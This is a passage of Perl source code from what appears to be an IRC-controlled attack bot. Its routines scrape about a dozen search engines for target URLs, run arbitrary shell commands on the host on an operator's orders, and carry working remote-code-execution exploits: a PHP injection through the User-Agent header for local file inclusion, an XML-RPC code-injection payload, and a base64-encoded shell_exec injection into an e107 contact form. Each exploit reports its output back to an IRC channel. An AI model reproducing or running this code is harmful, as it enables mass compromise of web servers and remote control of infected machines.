| 1576 | my @grep = &links($link); | |
| 1577 | push(@list,@grep); | |
| 1578 | } | |
| 1579 | } | |
| 1580 | } | |
| 1581 | return @list; | |
| 1582 | } | |
| 1583 | ||
| 1584 | sub onet() {
| |
| 1585 | my @list; | |
| 1586 | my $key = $_[0]; | |
| 1587 | my $b = 0; | |
| 1588 | for ($b=1; $b<=400; $b+=10) {
| |
| 1589 | my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key));
| |
| 1590 | my $res = &search_engine_query($search); | |
| 1591 | while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
| |
| 1592 | my $link = $1; | |
| 1593 | if ($link !~ /onet|webcache|query/){
| |
| 1594 | my @grep = &links($link); | |
| 1595 | push(@list,@grep); | |
| 1596 | } | |
| 1597 | } | |
| 1598 | } | |
| 1599 | return @list; | |
| 1600 | } | |
| 1601 | ||
| 1602 | sub clusty() {
| |
| 1603 | my @list; | |
| 1604 | my $key = $_[0]; | |
| 1605 | my $b = 0; | |
| 1606 | for ($b=10; $b<=200; $b+=10) {
| |
| 1607 | my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&");
| |
| 1608 | my $res = &search_engine_query($search); | |
| 1609 | if ($res !~ /next/) {$b=100;}
| |
| 1610 | while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
| |
| 1611 | my $link = $1; | |
| 1612 | if ($1 !~ /yippy\.com/){
| |
| 1613 | my @grep = &links($link); | |
| 1614 | push(@list,@grep); | |
| 1615 | } | |
| 1616 | } | |
| 1617 | } | |
| 1618 | return @list; | |
| 1619 | } | |
| 1620 | ||
| 1621 | sub bing() {
| |
| 1622 | my @list; | |
| 1623 | my $key = $_[0]; | |
| 1624 | for (my $i=1; $i<=400; $i+=10) {
| |
| 1625 | my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i);
| |
| 1626 | my $res = &search_engine_query($search); | |
| 1627 | while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
| |
| 1628 | my $link = $1; | |
| 1629 | if ($link !~ /google/) {
| |
| 1630 | my @grep = &links($link); | |
| 1631 | push(@list,@grep); | |
| 1632 | } | |
| 1633 | } | |
| 1634 | } | |
| 1635 | return @list; | |
| 1636 | } | |
| 1637 | ||
| 1638 | sub sapo(){
| |
| 1639 | my @list; | |
| 1640 | my $key = $_[0]; | |
| 1641 | for ($b=1; $b<=50; $b+=1) {
| |
| 1642 | my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".uri_escape($key)."&st=local");
| |
| 1643 | my $res = &search_engine_query($search); | |
| 1644 | if ($res !~ m/Next/i) {$b=50;}
| |
| 1645 | while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
| |
| 1646 | my $link = $1; | |
| 1647 | if ($1 !~ /\.sapo\.pt/){
| |
| 1648 | my @grep = &links($link); | |
| 1649 | push(@list,@grep); | |
| 1650 | } | |
| 1651 | } | |
| 1652 | } | |
| 1653 | return @list; | |
| 1654 | } | |
| 1655 | ||
| 1656 | sub lycos() {
| |
| 1657 | my @list; | |
| 1658 | my $key = $_[0]; | |
| 1659 | for ($b=0; $b<=50; $b+=1) {
| |
| 1660 | my $search = ("http://search.lycos.com/web?q=".uri_escape($key)."&pn=".$b);
| |
| 1661 | my $res = &search_engine_query($search); | |
| 1662 | while ($res =~ m/title=\"http:\/\/(.*?)\"/g) {
| |
| 1663 | my $link = $1; | |
| 1664 | if ($link !~ /lycos\.com/){
| |
| 1665 | my @grep = &links($link); | |
| 1666 | push(@list,@grep); | |
| 1667 | } | |
| 1668 | } | |
| 1669 | } | |
| 1670 | return @list; | |
| 1671 | } | |
| 1672 | ||
| 1673 | sub uol() {
| |
| 1674 | my @list; | |
| 1675 | my $key = $_[0]; | |
| 1676 | for ($b=0; $b<=1000; $b+=10) {
| |
| 1677 | my $search = ("http://busca.uol.com.br/web/?ref=homeuol&q=".uri_escape($key)."&start=".$b);
| |
| 1678 | my $res = &search_engine_query($search); | |
| 1679 | if ($res =~ m/retornou nenhum resultado/i) {$b=500;}
| |
| 1680 | while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
| |
| 1681 | my $link = $1; | |
| 1682 | if ($link !~ /uol\.com\.br|\/web/i){
| |
| 1683 | my @grep = &links($link); | |
| 1684 | push(@list,@grep); | |
| 1685 | } | |
| 1686 | } | |
| 1687 | } | |
| 1688 | return @list; | |
| 1689 | } | |
| 1690 | ||
| 1691 | sub seznam() {
| |
| 1692 | my @list; | |
| 1693 | my $key = $_[0]; | |
| 1694 | for ($b=1; $b<=300; $b+=20) {
| |
| 1695 | my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b);
| |
| 1696 | my $res = &search_engine_query($search); | |
| 1697 | while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
| |
| 1698 | my $link = $1; | |
| 1699 | if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){
| |
| 1700 | my @grep = &links($link); | |
| 1701 | push(@list,@grep); | |
| 1702 | } | |
| 1703 | } | |
| 1704 | } | |
| 1705 | return @list; | |
| 1706 | } | |
| 1707 | ||
| 1708 | sub hotbot() {
| |
| 1709 | my @list; | |
| 1710 | my $key = $_[0]; | |
| 1711 | for ($b=0; $b<=50; $b+=1) {
| |
| 1712 | my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key));
| |
| 1713 | my $res = &search_engine_query($search); | |
| 1714 | if ($res =~ m/had no web result/i) {$b=50;}
| |
| 1715 | while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) {
| |
| 1716 | my $link = $1; | |
| 1717 | if ($link !~ /hotbot\.com/){
| |
| 1718 | my @grep = &links($link); | |
| 1719 | push(@list,@grep); | |
| 1720 | } | |
| 1721 | } | |
| 1722 | } | |
| 1723 | return @list; | |
| 1724 | } | |
| 1725 | ||
| 1726 | sub aol() {
| |
| 1727 | my @list; | |
| 1728 | my $key = $_[0]; | |
| 1729 | for ($b=0; $b<=300; $b+=10) {
| |
| 1730 | my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b);
| |
| 1731 | my $res = &search_engine_query($search); | |
| 1732 | while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
| |
| 1733 | my $link = $1; | |
| 1734 | if ($link !~ /aol\.com/){
| |
| 1735 | my @grep = &links($link); | |
| 1736 | push(@list,@grep); | |
| 1737 | } | |
| 1738 | } | |
| 1739 | } | |
| 1740 | return @list; | |
| 1741 | } | |
| 1742 | ||
| 1743 | sub biglobe {
| |
| 1744 | my $key = $_[0]; | |
| 1745 | my @list; | |
| 1746 | for ($b=1; $b<=500; $b+=10) {
| |
| 1747 | $num += $num; | |
| 1748 | my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all"; | |
| 1749 | my $res = &search_engine_query($search); | |
| 1750 | while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
| |
| 1751 | my $link = $1; | |
| 1752 | if ($link !~ /biglobe/){
| |
| 1753 | my @grep = &links($link); | |
| 1754 | push(@list,@grep); | |
| 1755 | } | |
| 1756 | } | |
| 1757 | } | |
| 1758 | return @list; | |
| 1759 | } | |
| 1760 | ||
| 1761 | ######################################### | |
| 1762 | ||
| 1763 | sub clean() {
| |
| 1764 | my @cln = (); | |
| 1765 | my %visit = (); | |
| 1766 | foreach my $element (@_) {
| |
| 1767 | $element =~ s/\/+/\//g; | |
| 1768 | next if $visit{$element}++;
| |
| 1769 | push @cln, $element; | |
| 1770 | } | |
| 1771 | return @cln; | |
| 1772 | } | |
| 1773 | ||
| 1774 | sub links() {
| |
| 1775 | my @list; | |
| 1776 | my $link = $_[0]; | |
| 1777 | my $host = $_[0]; | |
| 1778 | my $hdir = $_[0]; | |
| 1779 | $hdir =~ s/(.*)\/[^\/]*$/\1/; | |
| 1780 | $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; | |
| 1781 | $host .= "/"; | |
| 1782 | $link .= "/"; | |
| 1783 | $hdir .= "/"; | |
| 1784 | $host =~ s/\/\//\//g; | |
| 1785 | $hdir =~ s/\/\//\//g; | |
| 1786 | $link =~ s/\/\//\//g; | |
| 1787 | push(@list,$link,$host,$hdir); | |
| 1788 | return @list; | |
| 1789 | } | |
| 1790 | ||
| 1791 | sub search_engine_query() {
| |
| 1792 | my $url = $_[0]; | |
| 1793 | $url =~ s/http:\/\///; | |
| 1794 | my $host = $url; | |
| 1795 | my $query = $url; | |
| 1796 | my $page = ""; | |
| 1797 | $host =~ s/href=\"?http:\/\///; | |
| 1798 | $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; | |
| 1799 | $query =~ s/$host//; | |
| 1800 | if ($query eq "") { $query = "/"; }
| |
| 1801 | eval {
| |
| 1802 | my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return; | |
| 1803 | my $sget = "GET $query HTTP/1.0\r\n"; | |
| 1804 | $sget .= "Host: $host\r\n"; | |
| 1805 | $sget .= "Accept: */*\r\n"; | |
| 1806 | $sget .= "User-Agent: $uagent\r\n"; | |
| 1807 | $sget .= "Connetion: Close\r\n\r\n"; | |
| 1808 | print $sock $sget; | |
| 1809 | my @pages = <$sock>; | |
| 1810 | $page = "@pages"; | |
| 1811 | close($sock); | |
| 1812 | }; | |
| 1813 | return $page; | |
| 1814 | } | |
| 1815 | ||
| 1816 | ######################################### | |
| 1817 | ||
| 1818 | sub shell() {
| |
| 1819 | my $path = $_[0]; | |
| 1820 | my $cmd = $_[1]; | |
| 1821 | if ($cmd =~ /cd (.*)/) {
| |
| 1822 | chdir("$1") || &msg("$path","No such file or directory");
| |
| 1823 | return; | |
| 1824 | } | |
| 1825 | elsif ($pid = fork) { waitpid($pid, 0); }
| |
| 1826 | else { if (fork) { exit; } else {
| |
| 1827 | my @output = `$cmd 2>&1 3>&1`; | |
| 1828 | my $c = 0; | |
| 1829 | foreach my $output (@output) {
| |
| 1830 | $c++; | |
| 1831 | chop $output; | |
| 1832 | &msg("$path","$output");
| |
| 1833 | if ($c == 5) { $c = 0; sleep 3; }
| |
| 1834 | } | |
| 1835 | exit; | |
| 1836 | }} | |
| 1837 | } | |
| 1838 | ||
| 1839 | sub isAdmin() {
| |
| 1840 | my $status = 0; | |
| 1841 | my $nick = $_[0]; | |
| 1842 | if ($nick eq $admin) { $status = 1; }
| |
| 1843 | return $status; | |
| 1844 | } | |
| 1845 | ||
| 1846 | sub msg() {
| |
| 1847 | return unless $#_ == 1; | |
| 1848 | sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]"); | |
| 1849 | } | |
| 1850 | ||
| 1851 | sub nick() {
| |
| 1852 | return unless $#_ == 0; | |
| 1853 | sendraw("NICK $_[0]");
| |
| 1854 | } | |
| 1855 | sub notice() {
| |
| 1856 | return unless $#_ == 1; | |
| 1857 | sendraw("NOTICE $_[0] :$_[1]");
| |
| 1858 | } | |
| 1859 | ||
| 1860 | sub cmdlfi() {
| |
| 1861 | my $browser = LWP::UserAgent->new; | |
| 1862 | my $url = $_[0]; | |
| 1863 | my $cmd = $_[1]; | |
| 1864 | my $chan = $_[2]; | |
| 1865 | my $hie = "lobex<?system(\"$cmd 2> /dev/stdout\"); ?>byroe"; | |
| 1866 | $browser->agent("$hie");
| |
| 1867 | $browser->timeout(7); | |
| 1868 | $response = $browser->get( $url ); | |
| 1869 | if ($response->content =~ /lobex(.*)byroe/s) {
| |
| 1870 | &msg("$chan","$lfilogo9 ".$1." ");
| |
| 1871 | } else {
| |
| 1872 | &msg("$chan","$lfilogo15 No Output ");
| |
| 1873 | } | |
| 1874 | } | |
| 1875 | ||
| 1876 | sub cmdxml() {
| |
| 1877 | my $jed = $_[0]; | |
| 1878 | my $dwa = $_[1]; | |
| 1879 | my $chan = $_[2]; | |
| 1880 | my $userAgent = LWP::UserAgent->new(agent => 'perl post'); | |
| 1881 | $exploit = "<?xml version=\"1.0\"?><methodCall>"; | |
| 1882 | $exploit .= "<methodName>test.method</methodName>"; | |
| 1883 | $exploit .= "<params><param><value><name>',''));"; | |
| 1884 | $exploit .= "echo'bamby';system('".$dwa."');echo'solo';exit;/*</name></value></param></params></methodCall>";
| |
| 1885 | my $response = $userAgent->request(POST $jed,Content_Type => 'text/xml',Content => $exploit); | |
| 1886 | if ($response->content =~ /bamby(.*)solo/s) {
| |
| 1887 | &msg("$chan","$xmllogo9 $1 ");
| |
| 1888 | } else {
| |
| 1889 | &msg("$chan","$xmllogo15 No Output ");
| |
| 1890 | } | |
| 1891 | } | |
| 1892 | ||
| 1893 | sub cmde107() {
| |
| 1894 | my $path = $_[0]; | |
| 1895 | my $code = $_[1]; | |
| 1896 | my $chan = $_[2]; | |
| 1897 | my $codecmd = encode_base64($code); | |
| 1898 | my $cmd = 'echo(base64_decode("QmFNYlk=").shell_exec(base64_decode("aWQ=")).base64_decode("Qnlyb2VOZXQ=")).shell_exec(base64_decode("'.$codecmd.'"));';
| |
| 1899 | my $req = HTTP::Request->new(POST => $path); | |
| 1900 | $req->content_type('application/x-www-form-urlencoded');
| |
| 1901 | $req->content("send-contactus=1&author_name=%5Bphp%5D".$cmd."%3Bdie%28%29%3B%5B%2Fphp%5D");
| |
| 1902 | my $ua = LWP::UserAgent->new(agent => $uagent); | |
| 1903 | $ua->timeout(7); | |
| 1904 | my $res = $ua->request($req); | |
| 1905 | my $data = $res->as_string; | |
| 1906 | if ( $data =~ /ByroeNet(.*)/ ){
| |
| 1907 | $mydata = $1; | |
| 1908 | &msg("$chan","0,1(0E1070)4 $mydata");
| |
| 1909 | } | |
| 1910 | else { &msg("$chan","0,1(0E1070)4 No Output"); }
| |
| 1911 | } |